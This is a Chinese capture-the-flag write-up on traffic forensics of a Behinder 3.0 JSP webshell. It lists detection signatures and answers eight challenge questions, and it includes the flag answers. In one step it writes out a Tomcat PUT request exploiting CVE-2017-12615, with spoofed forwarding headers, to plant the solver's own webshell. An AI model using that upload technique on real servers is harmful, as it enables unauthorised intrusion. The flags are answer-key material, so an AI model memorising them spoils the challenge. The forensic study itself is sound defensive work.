玄机靶场 | 冰蝎3.0-jsp流量分析
文章目录
- 一、冰蝎3.0流量特征
- 二、索引
- 三、题目列表
- 步骤#1
- 黑客IP是什么?
- 步骤#2
- 黑客上传的Webshell名是什么?
- 步骤#3
- 黑客上传WebShell的时间是多少?(格式如:flag{YYYY-MM-DD HH:MM:SS})
- 步骤#4
- 木马的解密key是什么?
- 步骤#5
- 黑客执行的第一个命令是什么?
- 步骤#6
- 黑客上传的文件内容是什么?
- 步骤#7
- 黑客下载的文件内容是什么?
- 步骤#8
- 服务器内的flag是什么?
一、冰蝎3.0流量特征
- Content-Type
POST请求的Content-Type
固定为application/octet-stream
,属于强特征
- User-Agent
内置了16个User-Agent
头,通信时会随机挑选一个,但大多为老旧浏览器或罕见设备头,如果同一IP频繁变换UA且为这16个之一,可以高度怀疑是冰蝎 - Accept、Cache-Control
Accept头常设为Accept: text/html, image/gif, image/jpeg, */*; q=.2, */*; q=.2
或类似值,Cache-Control和Pragma常设为no-cache
,表示直接从源服务器获取最新的响应,这些是冰蝎流量默认带的HTTP头,普通业务流量较少见
- Content-Length/请求包长度
因为冰蝎3.0使用AES-256加密算法,加密后的数据体积会膨胀,请求包长度一般会很大,超过正常业务范围
想要更深入了解冰蝎3.0可以参考文章:冰蝎3.0流量特征分析(附特征)
二、索引
三、题目列表
步骤#1
黑客IP是什么?
先用wireshark语法筛选出http流量
快速分析一遍流量,大部分都是404,说明黑客正在进行目录扫描。拉到最后那里可以看到有个异常流量,通过PUT方法上传了indeX.jsp
文件,且在请求头中伪造了多个指向本地地址的字段(如X-Forwarded-For
),这种组合是典型的攻击特征,由此可判定该请求为攻击者发起的恶意文件上传行为
因此黑客IP就是192.168.31.61
flag{192.168.31.61}
步骤#2
黑客上传的Webshell名是什么?
继续分析流量包,可以看到攻击者通过POST数据包与indeX.jsp
进行通信,且响应内容为加密数据
因此webshell名就是这个文件
flag{indeX.jsp}
步骤#3
黑客上传WebShell的时间是多少?(格式如:flag{YYYY-MM-DD HH:MM:SS})
找到刚才黑客通过PUT方法上传的文件直接查看时间即可
flag{2025-02-22 07:47:38}
步骤#4
木马的解密key是什么?
同样也是PUT方法的那个流量包,右键追踪HTTP流
可以看到黑客上传的内容,具体利用的漏洞是Tomcat通过PUT方法进行任意文件写入(CVE-2017-12615),感兴趣的可以网上了解一下
可以看到木马连接密码就在文件内容当中,长度为16字节(128位),一般用于AES对称加密
flag{3f0af7bb4dbcfbd7}
步骤#5
黑客执行的第一个命令是什么?
已知黑客是通过POST与indeX.jsp
进行通信,我们修改wireshark语法搜索包含indeX.jsp
的流量
http contains "indeX.jsp"
然后复制请求体data内容的ASCII值,如图所示
这里用到希潭实验室的蓝队分析工具箱,下载地址:蓝队分析研判工具箱
把复制的数据和之前得到的密钥放进去解密
可能受环境影响,我这边显示有点问题,不过内容还是可以看得懂。经过分析,前面几个数据包是冰蝎用于连接用的,分析到第四个时可以看到黑客执行的命令
因此黑客执行的第一个命令是ifconfig
flag{ifconfig}
步骤#6
黑客上传的文件内容是什么?
继续分析,发现长度为362的流量记录了创建文件的命令
4ZmxhZ3s0ODUzNzViN2IwNmFkODU2YTc4OGMwZDk1MjI5ZjM1Y30=
但是解码后得到一堆乱码,那只能登进目标服务器查看对应文件内容了
题目没有给出对应的服务器账号密码,需要我们渗透进去,那我们可以仿照前面黑客PUT上传文件的方法,用抓包工具修改发包
先自己随便选一个协议,生成服务端
然后复制生成的jsp代码,粘贴到body中,同时修改请求体信息与之前黑客PUT上传的内容一样
PUT /6.jsp/ HTTP/1.1
Host: 你的玄机靶机地址:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: JSESSIONID=3F426B8219ACAB91DF13B18D987842BC
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 782你的冰蝎jsp代码
然后发包即可,状态码显示201表示成功
在冰蝎连接webshell,根据你之前选的协议选择对应的类别即可
连接后在文件管理处,找到/home/xj/up.txt
,打开文件查看内容,成功拿到flag
flag{485375b7b06ad856a788c0d95229f35c}
步骤#7
黑客下载的文件内容是什么?
继续分析流量包,分析到最后一个请求包时发现有黑客执行下载文件的命令
对应路径为/opt/apache-tomcat-8.5.19/conf/server.xml
,用冰蝎查看对应文件,成功找到flag
当然也可以查看对应的响应包,同样也给出了flag
flag{3aacab9ca36a6894c75048e4faf47052}
步骤#8
服务器内的flag是什么?
用冰蝎在服务器内找就可以,最终发现flag在/root/flag.txt
里面
flag{ae1d04dd3d15c6a18f904fe50fdf7eca}